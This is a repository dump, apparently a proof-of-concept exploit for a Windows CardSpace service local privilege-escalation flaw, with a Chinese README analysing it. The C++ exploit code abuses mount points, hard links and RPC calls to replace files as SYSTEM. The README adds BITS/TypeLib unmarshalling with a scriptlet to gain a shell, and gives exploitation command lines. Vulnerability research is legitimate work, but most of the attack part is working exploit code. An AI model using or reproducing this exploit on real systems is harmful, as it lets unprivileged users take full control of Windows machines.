//当前目录下的临时typelib bstr_t target_tlb = exdir + L"\\CardSpace.db"; bstr_t UpdateTaskFile = exdir + L"\\CardSpace.db.atomic"; BSTR CardSpaceOld = (BSTR)malloc(LEN); GetUserNameW(user_name, &usernamelen); StringCbPrintfW(CardSpaceOld, LEN, L"C:\\Users\\%ls\\AppData\\Local\\Microsoft\\CardSpace", user_name); FileSymlink sl(false); HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); hr = CoInitializeSecurity( NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_DYNAMIC_CLOAKING, 0 ); if (argc < 2) { StartRpcService(); wcscpy(if_name, L" IRegistrationHelper"); CLSIDFromString(L"{55E3EA25-55CB-4650-8887-18E8D30BB4BC}", &IID_InterfaceTemp); CLSIDFromString(L"{4FB2D46F-EFC8-4643-BCD0-6E5BFA6A174C}", &TypeLib_InterfaceTemp); bstr_t script = L"script:" + CreateScriptletFile(); BuildTypeLibs(script, if_name, target_tlb); if (CreateDirectory(CardSpaceOld, nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS)) { if (!ReparsePoint::CreateMountPoint(CardSpaceOld, exdir.GetBSTR(), L"")) { printf("Error creating mount point - %d\n", GetLastError()); return 0; } } else { printf("Error creating directory - %d\n", GetLastError()); return 0; } if (CreateNativeHardlink(UpdateTaskFile.GetBSTR(), dllPath) == false) { printf("[+]CreateNativeHardlink Failed,error: %d\n", GetLastError()); return FALSE; } bstr_t dllPathBak = GetExeDir() + L"\\" + PathFindFileName(dllPath) + ".bak"; wcscpy(g_dllPathBak, dllPathBak.GetBSTR()); wcscpy(g_dllPath, dllPath); CopyFileW(dllPath, g_dllPathBak, false); wcscpy(g_cmdline, L"whoami"); RunRpcService(); if (!RemoveDirectory(CardSpaceOld)) { printf("Error deleting mount point %ls\n", GetErrorMessage().c_str()); return 1; } TestBits(hEvent); } else if (argc == 3) { StartRpcService(); CopyFileW(argv[1], target_tlb.GetBSTR(), false); if (CreateDirectory(CardSpaceOld, nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS)) { if (!ReparsePoint::CreateMountPoint(CardSpaceOld, exdir.GetBSTR(), L"")) { printf("Error creating mount point - %d\n", GetLastError()); return 0; } } else { printf("Error creating directory - %d\n", GetLastError()); return 0; } if (CreateNativeHardlink(UpdateTaskFile.GetBSTR(), argv[2]) == false) { printf("[+]CreateNativeHardlink Failed,error: %d\n", GetLastError()); return FALSE; } RunRpcService(); if (!RemoveDirectory(CardSpaceOld)) { printf("Error deleting mount point %ls\n", GetErrorMessage().c_str()); return 1; } printf("[+]RunRpcService Done Check if the Destination File is be written,code: %d\n", GetLastError()); } else { wcscpy(g_dllPath, dllPath); CreateNewProcess(argv[1]); } } catch (const _com_error& err) { printf("Error: %ls\n", err.ErrorMessage()); } CoUninitialize();//释放COM return 0; } ================================================ FILE: MyComEop/MyComEop.vcxproj ================================================  Debug Win32 Debug x64 Release Win32 Release x64 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9} Win32Proj MyComEop Application true v120 Unicode Static Application true v120 Unicode Static Application false v120 true Unicode Application false v120 true Unicode true $(SolutionDir)Build\ true false false NotUsing Level3 Disabled WIN32;_DEBUG;_CONSOLE;_LIB;_X86;_CRT_SECURE_NO_WARNINGS;MSFROTTENPOTATO_EXPORTS;%(PreprocessorDefinitions) true Console true secur32.lib;Credui.lib;Rpcrt4.lib;$(SolutionDir)Build\CommonUtils.lib;%(AdditionalDependencies) NotUsing Level3 Disabled WIN32;_DEBUG;_CONSOLE;_LIB;_X86;_CRT_SECURE_NO_WARNINGS;MSFROTTENPOTATO_EXPORTS;%(PreprocessorDefinitions) true Console true secur32.lib;Credui.lib;Rpcrt4.lib;%(AdditionalDependencies) Level3 Use MaxSpeed true true WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) true Console true true true Level3 Use MaxSpeed true true WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) true Console true true true Create Create Create Create ================================================ FILE: MyComEop/MyComEop.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;hm;inl;inc;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 头文件 头文件 头文件 头文件 源文件 源文件 源文件 资源文件 ================================================ FILE: MyComEop/MyComEop.vcxproj.user ================================================  C:\dl\test\ifc\MyComEop.exe 10.120.1.227 RemoteWithoutAuthentication false WindowsRemoteDebugger C:\dl\test\ifc C:\dl\test\ifc false C:\dl\test\ifc\MyComEop.exe 10.120.1.217 WindowsRemoteDebugger RemoteWithoutAuthentication false C:\dl\test\ifc C:\dl\test\ifc false ================================================ FILE: MyComEop/stdafx.cpp ================================================ // stdafx.cpp : ֻ׼ļԴļ // MyComEop.pch ΪԤͷ // stdafx.obj ԤϢ #include "stdafx.h" // TODO: STDAFX.H // κĸͷļڴļ ================================================ FILE: MyComEop/stdafx.h ================================================ // stdafx.h : ׼ϵͳļİļ // Ǿʹõĵ // ضĿİļ // #ifdef ARRAYSIZE #define countof(a) (ARRAYSIZE(a)) // (sizeof((a))/(sizeof(*(a)))) #else #define countof(a) (sizeof((a)) / (sizeof(*(a)))) #endif #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers #define RPC_USE_NATIVE_WCHAR #pragma once #include "targetver.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include typedef LUID OXID; typedef LUID OID; typedef GUID IPID; typedef struct tagDUALSTRINGARRAY { unsigned short wNumEntries; // Number of entries in array. unsigned short wSecurityOffset; // Offset of security info. unsigned short aStringArray[]; } DUALSTRINGARRAY; typedef struct tagSTDOBJREF { DWORD flags; DWORD cPublicRefs; OXID oxid; OID oid; IPID ipid; } STDOBJREF; typedef struct tagOBJREF { unsigned long signature;//MEOW unsigned long flags; GUID iid; union { struct { STDOBJREF std; DUALSTRINGARRAY saResAddr; } u_standard; struct { STDOBJREF std; CLSID clsid; DUALSTRINGARRAY saResAddr; } u_handler; struct { CLSID clsid; unsigned long cbExtension; unsigned long size; ULONGLONG pData; } u_custom; } u_objref; } OBJREF; ================================================ FILE: MyComEop/targetver.h ================================================ #pragma once // SDKDDKVer.h õ߰汾 Windows ƽ̨ // ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h // WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h #include ================================================ FILE: MyComEop.sdf ================================================ [File too large to display: 21.2 MB] ================================================ FILE: MyComEop.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio 2013 VisualStudioVersion = 12.0.40629.0 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MyComEop", "MyComEop\MyComEop.vcxproj", "{F7CA9871-895E-42D4-8C3D-E10A6C5335D9}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MyComDefine", "MyComDefine\MyComDefine.vcxproj", "{5A1D46C5-A03C-4622-A737-A8D798C5DEF7}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CommonUtils", "CommonUtils\CommonUtils.vcxproj", "{2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug_MultiByte|Any CPU = Debug_MultiByte|Any CPU Debug_MultiByte|Mixed Platforms = Debug_MultiByte|Mixed Platforms Debug_MultiByte|Win32 = Debug_MultiByte|Win32 Debug_MultiByte|x64 = Debug_MultiByte|x64 Debug|Any CPU = Debug|Any CPU Debug|Mixed Platforms = Debug|Mixed Platforms Debug|Win32 = Debug|Win32 Debug|x64 = Debug|x64 Release|Any CPU = Release|Any CPU Release|Mixed Platforms = Release|Mixed Platforms Release|Win32 = Release|Win32 Release|x64 = Release|x64 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug_MultiByte|Any CPU.ActiveCfg = Debug|Win32 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug_MultiByte|Mixed Platforms.ActiveCfg = Debug|Win32 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug_MultiByte|Mixed Platforms.Build.0 = Debug|Win32 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug_MultiByte|Win32.ActiveCfg = Debug|Win32 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug_MultiByte|Win32.Build.0 = Debug|Win32 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug_MultiByte|x64.ActiveCfg = Debug|x64 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug_MultiByte|x64.Build.0 = Debug|x64 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug|Any CPU.ActiveCfg = Debug|Win32 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug|Mixed Platforms.ActiveCfg = Debug|Win32 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug|Mixed Platforms.Build.0 = Debug|Win32 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug|Win32.ActiveCfg = Debug|Win32 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug|Win32.Build.0 = Debug|Win32 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug|x64.ActiveCfg = Debug|x64 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug|x64.Build.0 = Debug|x64 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Debug|x64.Deploy.0 = Debug|x64 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Release|Any CPU.ActiveCfg = Release|Win32 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Release|Mixed Platforms.ActiveCfg = Release|Win32 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Release|Mixed Platforms.Build.0 = Release|Win32 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Release|Win32.ActiveCfg = Release|Win32 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Release|Win32.Build.0 = Release|Win32 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Release|x64.ActiveCfg = Release|x64 {F7CA9871-895E-42D4-8C3D-E10A6C5335D9}.Release|x64.Build.0 = Release|x64 {5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug_MultiByte|Any CPU.ActiveCfg = Debug|Win32 {5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug_MultiByte|Mixed Platforms.ActiveCfg = Debug|Win32 {5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug_MultiByte|Mixed Platforms.Build.0 = Debug|Win32 {5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug_MultiByte|Win32.ActiveCfg = Debug|Win32 {5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug_MultiByte|Win32.Build.0 = Debug|Win32 {5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug_MultiByte|x64.ActiveCfg = Debug|Win32 {5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug|Any CPU.ActiveCfg = Debug|Win32 {5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug|Mixed Platforms.ActiveCfg = Debug|Win32 {5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug|Mixed Platforms.Build.0 = Debug|Win32 {5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug|Win32.ActiveCfg = Debug|Win32 {5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug|Win32.Build.0 = Debug|Win32 {5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Debug|x64.ActiveCfg = Debug|x64 {5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Release|Any CPU.ActiveCfg = Release|Win32 {5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Release|Mixed Platforms.ActiveCfg = Release|Win32 {5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Release|Mixed Platforms.Build.0 = Release|Win32 {5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Release|Win32.ActiveCfg = Release|Win32 {5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Release|Win32.Build.0 = Release|Win32 {5A1D46C5-A03C-4622-A737-A8D798C5DEF7}.Release|x64.ActiveCfg = Release|Win32 {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug_MultiByte|Any CPU.ActiveCfg = Debug|Win32 {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug_MultiByte|Mixed Platforms.ActiveCfg = Debug|Win32 {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug_MultiByte|Mixed Platforms.Build.0 = Debug|Win32 {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug_MultiByte|Win32.ActiveCfg = Debug|Win32 {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug_MultiByte|Win32.Build.0 = Debug|Win32 {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug_MultiByte|x64.ActiveCfg = Debug|Win32 {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug|Any CPU.ActiveCfg = Debug|Win32 {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug|Mixed Platforms.ActiveCfg = Debug|Win32 {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug|Mixed Platforms.Build.0 = Debug|Win32 {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug|Win32.ActiveCfg = Debug|Win32 {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug|Win32.Build.0 = Debug|Win32 {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Debug|x64.ActiveCfg = Debug|Win32 {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Release|Any CPU.ActiveCfg = Release|Win32 {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Release|Mixed Platforms.ActiveCfg = Release|Win32 {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Release|Mixed Platforms.Build.0 = Release|Win32 {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Release|Win32.ActiveCfg = Release|Win32 {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Release|Win32.Build.0 = Release|Win32 {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432}.Release|x64.ActiveCfg = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection EndGlobal ================================================ FILE: MyComEop.sln.DotSettings.user ================================================  True True ================================================ FILE: README.md ================================================ #### 引用 #### >这个漏洞属于Windows CardSpace服务未正确处理符号链接对象导致的任意文件替换的本地权限提升漏洞 #### 申明 #### 作者poc仅供研究目的,如果读者利用本poc从事其他行为,与本人无关 #### 目录 #### [toc] #### 分析 #### ##### 漏洞影响范围 ##### 适用于Windows7和Windows Server 2008 R2的普通用户和开启特殊配置的IIS用户 ##### 漏洞原理分析 ##### 笔者是漏洞的提交者,漏洞更新于2020年5月.漏洞来自于Windows7和Windows Server 2008 R2的Windows CardSpace服务(简称idsvc),该服务可由任意用户启动,本身以System权限运行,并提供公开的RPC调用,服务在由用户触发移动位于当前用户环境变量%APPDATA%目录下指定配置文件时未正确处理符号链接对象,导致任意文件替换的本地权限提升,这是漏洞的成因. 由于是利用基于RPC调用就需要先获取服务的接口[MIDL](https://docs.microsoft.com/en-us/windows/win32/midl/midl-start-page),这样才能编写本地代码与之交互.笔者推荐使用[RpcView工具](https://github.com/silverf0x/RpcView),具体方法可以参考[RPC漏洞挖掘系列文章](https://www.anquanke.com/post/id/167427). 先使用如下方法获取符号文件,并在工具中进行符号配置,之后就可以反编译出RPC接口IDL文件,具体方法如下 ``` //先配置环境变量[_NT_SYMBOL_PATH]值如下 SRV*C:\symbols*http://msdl.microsoft.com/download/symbols/ //手动下载符号,symchk.exe在windbg目录下 symchk.exe "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe" /v //在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写 srv*C:\symbols ``` ![点击看大图](https://ftp.bmp.ovh/imgs/2020/05/094f6ab7bb556200.png) 通过工具获取其中由3个重要的数据,Rpc协议的类型,协议名称和协议接口的客户端定义文件(编译IDL文件文件生成的.c文件,见左侧Decompilation文本框),这样就可以用如下方法绑定Rpc服务了 ``` BOOL StartRpcService() { RPC_STATUS status; unsigned int cMinCalls = 1; RPC_BINDING_HANDLE v5; RPC_SECURITY_QOS SecurityQOS = {}; RPC_WSTR StringBinding = nullptr; if (StartConnectingService()) { //Rpc协议的类型,协议名称 status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding); if (status){ printf("RpcStringBindingComposeW Failed:%d\n", status); return(status); } status = RpcBindingFromStringBindingW(StringBinding, &hBinding); RpcStringFreeW(&StringBinding); if (status){ printf("RpcBindingFromStringBindingW Failed:%d\n", status); return(status); } SecurityQOS.Version = 1; SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE; SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT; SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC; status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS); if (status){ printf("RpcBindingSetAuthInfoExW Failed:%d\n", status); return(status); } //绑定接口 status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec); if (status){ printf("RpcEpResolveBinding Failed:%d\n", status); return(status); } } else { printf("Start Connecting Windows Cardspace Service Failed"); return 0; } return 0; } ``` 通过反编译idsvc服务代码得到具体工程(见相关项目).idsvc服务绑定了全局RPC接口的全局处理程序RequestFactory.ProcessNewRequest,对于初次调用即parentRequestHandle为0的情况调用CreateClientRequestInstance类处理回调,后续操作由CreateUIAgentRequestInstance类处理 ``` //全局RPC接口的全局处理程序  internal static int ProcessNewRequest(  int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs)         {            ... //初次调用                 if (parentRequestHandle == 0)                 {                     using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle())                     {                         using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream)outStream))                         {                             string extendedMessage; //反射出来后执行实例的DoProcessRequest方法处理请求                             num = clientRequestInstance.DoProcessRequest(out extendedMessage);                             RpcResponse outArgs1;                             RequestFactory.ConvertStreamToIntPtr(outStream, out outArgs1); //返回结果                             outArgs = outArgs1.Marshal();        } } } ``` idsvc服务会根据RpcRequest->Type字段种的类名反射出相应类处理回调,这里poc使用的是"ManageRequest"类; ```  private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream)         {             ClientRequest clientRequest = (ClientRequest)null;             lock (RequestFactory.s_createRequestSync)             {                               RequestFactory.RequestName request = RequestFactory.s_requestMap[reqName];                 if (-1 != Array.IndexOf(RequestFactory.s_uiClientRequests, request))                 {                     Process contextMapping = ClientUIRequest.GetContextMapping(rpcHandle, true);                     InfoCardTrace.ThrowInvalidArgumentConditional(null == contextMapping, nameof(rpcHandle));                                   WindowsIdentity executionIdentity = NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping);                     InfoCardUIAgent agent = monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession);                     switch (RequestFactory.s_requestMap[reqName])                     {                       //这里使用的是"ManageRequest"类;                         case RequestFactory.RequestName.ManageRequest:                             clientRequest = (ClientRequest)new ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, outStream);                             break;                                         }                 } ``` 触发ManageRequest实例的DoProcessRequest函数处理请求,省略中间步骤,最后调用StoreConnection.CreateDefaultDataSources()来到了利用点. 在与服务交互过程中服务会模拟用户(Impersonate Client)并获取用户配置文件,默认为用户环境变量%APPDATA%目录下指定配置文件,对于IIS用户特殊情况默认不加载配置文件需开启如下配置才可以实现,点击应用程序池->高级设置. ![点击看大图](https://ftp.bmp.ovh/imgs/2020/05/2876914176e59f9b.jpg) ``` //构造函数   protected StoreConnection(WindowsIdentity identity)     { //这里的identity也就客户端身份       this.m_identity = new WindowsIdentity(identity.Token);      //获取用户环境变量的%APPDATA%       this.m_path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\\CardSpace\\");       this.m_localSource = this.m_path + "CardSpaceSP2.db";          }      protected virtual void CreateDefaultDataSources(Hashtable list)    {       string str = this.m_path + "CardSpace.db"; //进入using块使用的idsvc服务身份,离开块后继续Impersonate Client       using (new SystemIdentity(true))       { ....         if (File.Exists(str)) { //替换文件,内部实现就是File.MoveTo等函数           this.AtomicFileCopy(str, this.m_localSource); }        } ...         protected void AtomicFileCopy(string source, string destination)     {       if (!File.Exists(source))         return; //加上.atomic后缀,移动文件       File.Copy(source, source + ".atomic", true);       FileInfo fileInfo = new FileInfo(source + ".atomic");       if (fileInfo.Length == 0L)         return;       fileInfo.MoveTo(destination);     } ``` idsvc服务通过new SystemIdentity(true)切换回idsvc服务身份,调用AtomicFileCopy移动用户配置文件.在默认配置下%APPDATA%目录下的文件在可由当前用户可完全控制.当高权限进程对低权限进程可控制文件进行删除,移动,复制,设置属性等操作时,低权限进程均可利用此特权做一些其他操作.James Forshaw[@tiraniddo](https://twitter.com/tiraniddo)为我们提供了一套[开源工具](https://github.com/googleprojectzero/symboliclink-testing-tools),他在NTFS文件系统和Windows内部的开创性工作完成了所有繁重工作,实现了几种滥用Windows文件系统和路径解析功能的技术和利用方法.NTFS文件系统允许将一个用户控制目录挂载到另一个用户控制目录(挂载点Volume Mount Points和交叉点Junction Points),也允许通过符号链接Symbolic Links(NTFS重解析点Reparse Points)将一个目标链接至另一个,和硬链接(Hard Link)将一个用户可控制文件链接至另一个可读文件,以上方式均可导致恶意攻击者滥用高特权进程执行文件操作.对于poc中的利用,可使用如下两种方式对源文件和目标文件创建相应符号链接,第一种方式为挂载点和硬链接,这种方式只适用于win7,硬链接已被微软缓解,具体原因见[分析](http://whereisk0shl.top.park.bitcron.com/post/2019-06-08),第二种方式仍然可在win10实现利用,原理是通过任意用户可写对象目录\RPC Control链接至指定目录,然后继续链接\RPC Control目录下文件至指定文件,具体方式如下,关于符号链接的相关可以参考[上篇](https://www.4hou.com/posts/qV8D)和[下篇](https://www.4hou.com/posts/rE7B),这里不再赘述 ``` 第一种方式, 挂载点和硬链接 C:\workspace\mountpoint -> C:\Users\Username\AppData\Local\Microsoft\CardSpace 源文件(挂载点) = C:\workspace\mountpoint\CardSpace.db(Fake.dll) -> C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db 目标文件(硬链接) =C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic -> C:\Evil.dll 第二种方式,符号链接至 \RPC Control C:\Users\Username\AppData\Local\Microsoft\CardSpace -> \RPC Control 源文件 = C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db ->\RPC Control\CardSpace.db 目标文件 =C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic -> \RPC Control\CardSpace.db.atomic 源文件 = \RPC Control\CardSpace.db ->C:\Fake.dll 目标文件 = \RPC Control\CardSpace.db.atomic -> C:\Evil.dll ``` ![查看大图](https://ftp.bmp.ovh/imgs/2020/05/ceb01a06f81a8bba.png) 从Process Monitor看出idsvc服务移动文件时并没使用模拟(Impersonate)用户身份操作,也没有判断文件的符号链接属性,就导致任意文件替换权限提升漏洞,以下是漏洞利用关键代码 ``` BOOL Exploit() { RpcRequest* req = (RpcRequest*)CoTaskMemAlloc(sizeof(RpcRequest)); req->Type = L"ManageRequest"; req->Length = 0; req->Data = 0; RpcResponse* rep = (RpcResponse*)CoTaskMemAlloc(sizeof(RpcResponse)); UINT32* ctx = 0; long ret = Proc0_RPCClientBindToService(hBinding, (void**)&ctx); printf("Proc0_RPCClientBindToService :%d\n", ret); ret = Proc2_RPCDispatchClientUIRequest((void**)&ctx, req, &rep); printf("Proc2_RPCDispatchClientUIRequest :%08x\n", ret); return 0; } ``` ##### 漏洞利用分析 ##### 笔者设计了一种新的基于任意文件替换的提权利用方式,原型来自[CVE-2017-0213](https://www.exploit-db.com/exploits/42020/),这种方式适用于Windows7至Windows10所有版本操作系统,但前提是要被替换的文件不是TrustedInstaller控制权限,才可以触发漏洞,原因是TrustedInstaller权限高于其他权限,如果直接执行替换操作,即使是以System权限操作结果都是拒绝访问,一般只有管理员权限或者System权限的文件才符合条件.笔者制作了一个[工具](https://gitee.com/cbwang505/TypeLibUnmarshaler)用于搜索指定目录下可替换文件,在相关项目列表中提供,也可以使用微软[SysinternalsSuite](https://docs.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite)中的accesschk工具,启动命令行如下,最后一个参数为指定目录文件 ``` //[SysinternalsSuite]工具模式,最后一个参数为指定目录文件 accesschk.exe -s -w "nt authority\system" c:\windows\system32\*.dll //笔者工具中的查找模式,参数为目标路径和后缀名 MyComEop.exe v [find path] [extension] //深度查找模式,参数为目标路径和后缀名 MyComEop.exe d [find path] [extension] ``` 对于Windows7系统笔者使用以上工具找到了一些系统自带的TypeLib(类型库)文件可以实现利用,对于Windows10等高版本系统也找到了一个可以被System用户写入的系统自带TypeLib,更好的情况是对于安装了第三方软件注册的Com组件的基本上都存在类似TypeLib文件符合条件,所以必定存在这种利用方式的利用价值. ``` Windows7系统TypeLib位于: C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.EnterpriseServices.tlb Windows10等高版本系统TypeLib位于: C:\Windows\System32\SysFxUI.dll ``` ![查看大图](https://ftp.bmp.ovh/imgs/2020/06/82d5245385a1632a.png) Windows7系统的利用可以直接在poc中体现,对于Windows10等高版本系统已在我的另一个[EXP](https://gitee.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION)中得到验证,如果仅进行测试目的可以用以下命令行启动实现,由于是需要System用户写入,推荐使用[Process Hacker](https://processhacker.sourceforge.io/)等工具将当前用户身份切换至System用户,效果如上图: ``` MyComEop.exe u "{E6DB299B-B925-415A-879B-4A76D072F39A}" "IMyPageFactory" "{87D5F036-FAC3-4390-A1E8-DFA8A62C09E7}" "C:\Windows\System32\SysFxUI.dll" true ``` 如果读者找到符合条件TypeLib后可以用[Windows SDK](https://developer.microsoft.com/zh-cn/windows/downloads/windows-10-sdk/)中的OleView工具打开,选择任意一个Interface分别提取出这3个参数IID_Interface,InterfaceName,TypeLib_GUID就可以使用利用工具中的高级模式实现利用,这里笔者使用的是这个Windows7系统一个自带的TypeLib进行演示. ![查看大图](https://ftp.bmp.ovh/imgs/2020/05/566fb6af779fecfc.png) ![查看大图](https://ftp.bmp.ovh/imgs/2020/05/cfdf6fba7c5462b1.png) 漏洞利用的原理来自Background Intelligent Transfer Service服务(简称bits),调用bits服务的公开api中的IBackgroundCopyJob->SetNotifyInterface接口允许传递任意远程com对象,如果这个对象继承了IMarshal接口,bits服务会根据接口方法GetUnmarshalClass中传入的CLSID自定义Unmarshal反序列化.这里笔者使用的标准Unmarshal方式即CStdMarshal::UnmarshalInterface触发反序列化,而导致反序列化的数据来自MarshalStream中的OBJREF结构,这个结构格式如下,具体可参考[微软官方文档](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/fe6c5e46-adf8-4e34-a8de-3f756c875f31?redirectedfrom=MSDN)和我的[另一篇文章](https://bbs.pediy.com/thread-228829.htm) ``` typedef LUID OXID; typedef LUID OID; typedef GUID IPID; typedef struct tagDUALSTRINGARRAY { unsigned short wNumEntries; // Number of entries in array. unsigned short wSecurityOffset; // Offset of security info. unsigned short aStringArray[]; } DUALSTRINGARRAY; typedef struct tagSTDOBJREF { DWORD flags; DWORD cPublicRefs; //对象所处的套间的标识符,在套间建立时会为套间建立一个OXID,叫做对象引出标识符 OXID oxid;  //存根管理器的标识符 OID oid; //接口存根标识符,用来唯一的标识套间中的一个接口指针,这跟接口的IID是不同的,IID是用来标识 IPID ipid; } STDOBJREF; typedef struct tagOBJREF { unsigned long signature;//MEOW unsigned long flags; GUID iid; union { struct { STDOBJREF std; DUALSTRINGARRAY saResAddr; } u_standard; struct { STDOBJREF std; CLSID clsid; DUALSTRINGARRAY saResAddr; } u_handler; struct { CLSID clsid; unsigned long cbExtension; unsigned long size; ULONGLONG pData; } u_custom; } u_objref; } OBJREF; ``` 这里flags为OBJREF_STANDARD(0x01),表示使用标准Unmarshal方式(CStdMarshal),对应的下方联合体的是STDOBJREF,至于其他flags类型均有自定义的unmarshal方式,不在本文的讨论范围,请读者自行研究.而最终导致实现漏洞利用的是其中的iid字段,通过逆向研究发现替换这个iid(也就是oleview中找到的接口IID_Interface)就可以触发bits服务加载这个iid对应com组件对象的TypeLib(类型库),也就是说任意TypeLib反序列化.最终替换TypeLib文件构造为嵌套的TypeLib结构就可以运行Script Moniker来GetShell.这里附上漏洞利用关键代码: ``` virtual HRESULT STDMETHODCALLTYPE 